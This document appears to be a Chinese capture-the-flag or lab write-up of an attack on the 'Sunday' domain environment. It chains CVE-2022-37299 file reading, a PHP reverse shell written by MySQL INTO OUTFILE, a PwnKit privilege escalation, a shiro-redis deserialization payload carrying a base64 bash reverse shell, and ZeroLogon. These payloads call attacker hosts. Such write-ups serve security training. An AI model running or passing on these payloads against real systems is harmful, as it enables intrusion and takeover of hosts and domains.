域渗透实战之Sunday
字数 1573 2025-08-24 07:48:22

域渗透实战之Sunday - 详细教学文档

环境搭建

  1. 网络配置
    • Web服务器IP:192.168.10.175
    • Web123服务器IP:192.168.10.174
    • PC1配置双网卡
    • AD2012域控配置在10.10.10.0/24网段
    • 域控AD12 IP:10.10.10.137

Web打点阶段

信息收集

  1. 访问目标IP(192.168.10.174),识别CMS为ShirneCMS
  2. 端口扫描发现开放:
    • 80端口(HTTP)
    • 22端口(SSH)

CVE-2022-37299漏洞利用

漏洞原理

  • UEditor编辑器中的file_get_contents函数未对传入参数进行过滤,导致可以通过伪协议读取任意文件

漏洞位置

  • /static/ueditor/php/controller.php

利用步骤

  1. 使用目录遍历读取配置文件
  2. 对获取的配置信息进行base64解码
  3. 成功解密出数据库用户名和密码

数据库配置示例

return [
    'type' => 'mysql',
    'hostname' => 'localhost',
    'database' => 'cms',
    'username' => 'root',
    'password' => 'vVICDU1Erw',
    'hostport' => '3306',
    'charset' => 'utf8mb4',
    'prefix' => 'sa_',
    // 其他配置项...
];

数据库访问与进一步利用

  1. 使用解密出的凭据(root/vVICDU1Erw)登录phpMyAdmin
  2. 读取/etc/passwd文件
  3. 在数据库中查找系统登录凭据,发现:
    • 用户名:admin
    • 密码:1lovehackers

获取Webshell

  1. 尝试写入phpinfo测试文件包含漏洞
  2. 在添加分类功能中利用目录遍历写入/tmp文件
  3. 写入反弹shell payload:
    select '<?php system("bash -c \'bash -i >& /dev/tcp/192.168.10.128/2333 0>&1\'"); ?>' into outfile '/tmp/view.tpl'
    
  4. 使用nc监听2333端口获取反弹shell

内网渗透

权限提升

  1. 识别系统为Ubuntu 16.04
  2. 尝试使用PwnKit-Exploit提权:
    wget 192.168.10.128/home/kali/PwnKit-Exploit-main/exploit.c
    
  3. 当手动提权失败后,使用MSF进行提权:
    • 设置监听
    • 使用适当的exploit模块
    • 成功获取root权限

内网信息收集

  1. 查看路由信息
  2. 使用fscan和nmap扫描内网,发现:
    • 6379端口(Redis)
    • 8080端口(HTTP)

Redis利用

  1. 尝试Redis未授权访问
  2. 进行密码爆破,成功登录
  3. 访问8080端口,使用默认凭据登录

Java反序列化漏洞利用

漏洞分析

  1. 发现使用shiro-redis框架
  2. 分析org/crazycake/shiro/serializer/ObjectSerializer.java中的deserialize方法
  3. 发现RedisCache.java中的get方法会调用反序列化

利用步骤

  1. 编写恶意类Evil.java
    public class Evil extends AbstractTranslet {
        public Evil() throws Exception {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwMy4xNDguMjQ0LjE1MS84ODc3IDA+JjE=}|{base64,-d}|{bash,-i}");
        }
        // 其他必要方法...
    }
    
  2. 在Redis中写入恶意session
  3. 触发反序列化执行命令

MSF上线

  1. 上传MSF木马
  2. 成功上线
  3. 发现root.txt标志文件

横向移动

  1. 搜索文件发现id_rsa私钥
  2. 使用SSH连接PC1主机:
    ssh -i id_rsa user@pc1
    
  3. 获取另一个root.txt
  4. 发现PC1为双网卡机器,判断存在域环境

域渗透

  1. 使用fscan扫描发现域控:
    • 域控IP:10.10.10.133

ZeroLogon(CVE-2020-1472)利用

  1. 识别域控存在ZeroLogon漏洞
  2. 使用脚本置空域控密码
  3. 获取管理员hash

横向移动到域控

  1. 使用wmiexec进行横向移动:
    wmiexec.py domain/admin@10.10.10.133
    
  2. 继续横向移动到Exchange主机

关键工具和技术总结

  1. 漏洞利用

    • CVE-2022-37299 (文件读取)
    • ZeroLogon (CVE-2020-1472)
    • Shiro-Redis反序列化
  2. 工具使用

    • fscan/nmap (扫描)
    • MSF (提权、持久化)
    • wmiexec (横向移动)
    • Redis-cli (Redis利用)
  3. 技术要点

    • 文件包含漏洞利用
    • 数据库凭据获取
    • Webshell上传
    • 内网代理搭建
    • 权限提升技术
    • 域渗透方法

防御建议

  1. 及时更新CMS和组件补丁
  2. 加强数据库访问控制
  3. 限制Redis等服务的网络访问
  4. 实施最小权限原则
  5. 监控异常登录行为
  6. 定期审计系统配置和日志
域渗透实战之Sunday - 详细教学文档 环境搭建 网络配置 : Web服务器IP:192.168.10.175 Web123服务器IP:192.168.10.174 PC1配置双网卡 AD2012域控配置在10.10.10.0/24网段 域控AD12 IP:10.10.10.137 Web打点阶段 信息收集 访问目标IP(192.168.10.174),识别CMS为ShirneCMS 端口扫描发现开放: 80端口(HTTP) 22端口(SSH) CVE-2022-37299漏洞利用 漏洞原理 : UEditor编辑器中的 file_get_contents 函数未对传入参数进行过滤,导致可以通过伪协议读取任意文件 漏洞位置 : /static/ueditor/php/controller.php 利用步骤 : 使用目录遍历读取配置文件 对获取的配置信息进行base64解码 成功解密出数据库用户名和密码 数据库配置示例 : 数据库访问与进一步利用 使用解密出的凭据(root/vVICDU1Erw)登录phpMyAdmin 读取 /etc/passwd 文件 在数据库中查找系统登录凭据,发现: 用户名:admin 密码:1lovehackers 获取Webshell 尝试写入phpinfo测试文件包含漏洞 在添加分类功能中利用目录遍历写入/tmp文件 写入反弹shell payload: 使用nc监听2333端口获取反弹shell 内网渗透 权限提升 识别系统为Ubuntu 16.04 尝试使用PwnKit-Exploit提权: 当手动提权失败后,使用MSF进行提权: 设置监听 使用适当的exploit模块 成功获取root权限 内网信息收集 查看路由信息 使用fscan和nmap扫描内网,发现: 6379端口(Redis) 8080端口(HTTP) Redis利用 尝试Redis未授权访问 进行密码爆破,成功登录 访问8080端口,使用默认凭据登录 Java反序列化漏洞利用 漏洞分析 : 发现使用shiro-redis框架 分析 org/crazycake/shiro/serializer/ObjectSerializer.java 中的 deserialize 方法 发现 RedisCache.java 中的 get 方法会调用反序列化 利用步骤 : 编写恶意类 Evil.java : 在Redis中写入恶意session 触发反序列化执行命令 MSF上线 上传MSF木马 成功上线 发现root.txt标志文件 横向移动 搜索文件发现id_ rsa私钥 使用SSH连接PC1主机: 获取另一个root.txt 发现PC1为双网卡机器,判断存在域环境 域渗透 使用fscan扫描发现域控: 域控IP:10.10.10.133 ZeroLogon(CVE-2020-1472)利用 识别域控存在ZeroLogon漏洞 使用脚本置空域控密码 获取管理员hash 横向移动到域控 使用wmiexec进行横向移动: 继续横向移动到Exchange主机 关键工具和技术总结 漏洞利用 : CVE-2022-37299 (文件读取) ZeroLogon (CVE-2020-1472) Shiro-Redis反序列化 工具使用 : fscan/nmap (扫描) MSF (提权、持久化) wmiexec (横向移动) Redis-cli (Redis利用) 技术要点 : 文件包含漏洞利用 数据库凭据获取 Webshell上传 内网代理搭建 权限提升技术 域渗透方法 防御建议 及时更新CMS和组件补丁 加强数据库访问控制 限制Redis等服务的网络访问 实施最小权限原则 监控异常登录行为 定期审计系统配置和日志